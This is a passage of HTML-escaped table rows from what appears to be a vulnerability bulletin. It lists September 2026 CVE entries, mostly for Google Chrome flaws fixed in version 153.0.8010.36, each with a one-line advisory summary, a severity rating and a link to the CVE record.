&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58941&quot; target=&quot;_blank&quot;&gt;CVE-2026-58941&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android Wear&lt;/td&gt;
&lt;td&gt;In checkReadPermission of PermissionsManager.java, there is a possible way to monitor sensitive device state data due to a missing permission check. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49883&quot; target=&quot;_blank&quot;&gt;CVE-2026-49883&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android XR&lt;/td&gt;
&lt;td&gt;In MicroXR Blobstore, there is a possible way to access other app&#039;s files due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28659&quot; target=&quot;_blank&quot;&gt;CVE-2026-28659&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--cel-go&lt;/td&gt;
&lt;td&gt;A user could provide an expression whose string length is longer than the ParserExpressionSizeLimit() configured on the CEL environment, and a memory allocation would occur proportional to the size of the input before the limit would be checked / enforced.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83530&quot; target=&quot;_blank&quot;&gt;CVE-2026-83530&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Missing authorization in ServiceWorker in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87429&quot; target=&quot;_blank&quot;&gt;CVE-2026-87429&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Buffer overflow in WebRTC in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87430&quot; target=&quot;_blank&quot;&gt;CVE-2026-87430&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Missing authorization in Extensions in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to obtain sensitive information via a crafted Chrome extension. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87431&quot; target=&quot;_blank&quot;&gt;CVE-2026-87431&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect authorization in Navigation in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87432&quot; target=&quot;_blank&quot;&gt;CVE-2026-87432&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Race condition in FileAPI in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87433&quot; target=&quot;_blank&quot;&gt;CVE-2026-87433&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Missing authorization in CORS in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87434&quot; target=&quot;_blank&quot;&gt;CVE-2026-87434&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Information leak in ControlledFrame in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to obtain sensitive information via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87435&quot; target=&quot;_blank&quot;&gt;CVE-2026-87435&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incomplete cleanup in Browser in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass web origin policy via a crafted Chrome extension. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87436&quot; target=&quot;_blank&quot;&gt;CVE-2026-87436&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Information leak in Frames in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to leak sensitive information via a crafted HTML page. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87437&quot; target=&quot;_blank&quot;&gt;CVE-2026-87437&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Out of bounds write in WebGL in Google Chrome on on Android prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87438&quot; target=&quot;_blank&quot;&gt;CVE-2026-87438&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Information leak in ServiceWorker in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to obtain sensitive information via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87439&quot; target=&quot;_blank&quot;&gt;CVE-2026-87439&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Out of bounds read in Media in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87440&quot; target=&quot;_blank&quot;&gt;CVE-2026-87440&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Missing authorization in Downloads in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass system access restrictions via a crafted Chrome extension. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87441&quot; target=&quot;_blank&quot;&gt;CVE-2026-87441&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Confused deputy in Prerender in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to potentially bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87442&quot; target=&quot;_blank&quot;&gt;CVE-2026-87442&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Missing authorization in Actor in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to obtain sensitive information via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87443&quot; target=&quot;_blank&quot;&gt;CVE-2026-87443&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Memory corruption in Codecs in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87444&quot; target=&quot;_blank&quot;&gt;CVE-2026-87444&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;UI misrepresentation in Session in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87445&quot; target=&quot;_blank&quot;&gt;CVE-2026-87445&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incomplete cleanup in Extensions in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted Chrome extension. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87446&quot; target=&quot;_blank&quot;&gt;CVE-2026-87446&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect authorization in Network in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass web origin policy via a crafted Chrome extension. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87447&quot; target=&quot;_blank&quot;&gt;CVE-2026-87447&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in DevTools in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87448&quot; target=&quot;_blank&quot;&gt;CVE-2026-87448&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Cross-site request forgery in DeviceBoundSessionCredentials in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87449&quot; target=&quot;_blank&quot;&gt;CVE-2026-87449&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect authorization in Permissions in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to obtain sensitive information via a crafted Chrome extension. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87450&quot; target=&quot;_blank&quot;&gt;CVE-2026-87450&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Information leak in Downloads in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to obtain cross-origin data via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87451&quot; target=&quot;_blank&quot;&gt;CVE-2026-87451&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect authorization in GPU in Google Chrome on on Mac prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to potentially obtain cross-origin data via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87452&quot; target=&quot;_blank&quot;&gt;CVE-2026-87452&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Confused deputy in BackgroundFetch in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to leak sensitive information via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87453&quot; target=&quot;_blank&quot;&gt;CVE-2026-87453&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Information leak in Enterprise in Google Chrome on on Windows prior to 153.0.8010.36 allowed a remote attacker to obtain sensitive information via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87454&quot; target=&quot;_blank&quot;&gt;CVE-2026-87454&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in Aura in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87455&quot; target=&quot;_blank&quot;&gt;CVE-2026-87455&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Uninitialized resource in Media in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87456&quot; target=&quot;_blank&quot;&gt;CVE-2026-87456&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Race condition in Updater in Google Chrome on on Windows prior to 153.0.8010.36 allowed a local attacker to execute arbitrary code outside the sandbox via a local program. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87457&quot; target=&quot;_blank&quot;&gt;CVE-2026-87457&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;UI misrepresentation in Geometry in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87458&quot; target=&quot;_blank&quot;&gt;CVE-2026-87458&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Observable discrepancy in Select in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to obtain sensitive information via a crafted HTML page. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87459&quot; target=&quot;_blank&quot;&gt;CVE-2026-87459&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in Platform in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87460&quot; target=&quot;_blank&quot;&gt;CVE-2026-87460&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Information leak in Core in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to leak cross-origin data via a crafted Chrome extension. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87461&quot; target=&quot;_blank&quot;&gt;CVE-2026-87461&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;UI misrepresentation in FedCM in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87462&quot; target=&quot;_blank&quot;&gt;CVE-2026-87462&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect authorization in Certificate in Google Chrome on on Android prior to 153.0.8010.36 allowed a remote attacker to potentially spoof address bar via crafted network traffic. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87463&quot; target=&quot;_blank&quot;&gt;CVE-2026-87463&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in WebGL in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87464&quot; target=&quot;_blank&quot;&gt;CVE-2026-87464&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect authorization in Downloads in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87465&quot; target=&quot;_blank&quot;&gt;CVE-2026-87465&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect authorization in Workers in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87466&quot; target=&quot;_blank&quot;&gt;CVE-2026-87466&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Race condition in Updater in Google Chrome on on Windows prior to 153.0.8010.36 allowed a local attacker to potentially execute arbitrary code outside the sandbox via a local program. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87467&quot; target=&quot;_blank&quot;&gt;CVE-2026-87467&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect authorization in Isolated in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass site isolation via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87468&quot; target=&quot;_blank&quot;&gt;CVE-2026-87468&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Improper input validation in Extensions in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass web origin policy into a privileged page via crafted network traffic. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87469&quot; target=&quot;_blank&quot;&gt;CVE-2026-87469&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Improper quantity validation in Tint in Google Chrome on on Mac prior to 153.0.8010.36 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87470&quot; target=&quot;_blank&quot;&gt;CVE-2026-87470&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect authorization in ServiceWorker in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87471&quot; target=&quot;_blank&quot;&gt;CVE-2026-87471&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Improper input validation in FedCM in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87472&quot; target=&quot;_blank&quot;&gt;CVE-2026-87472&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
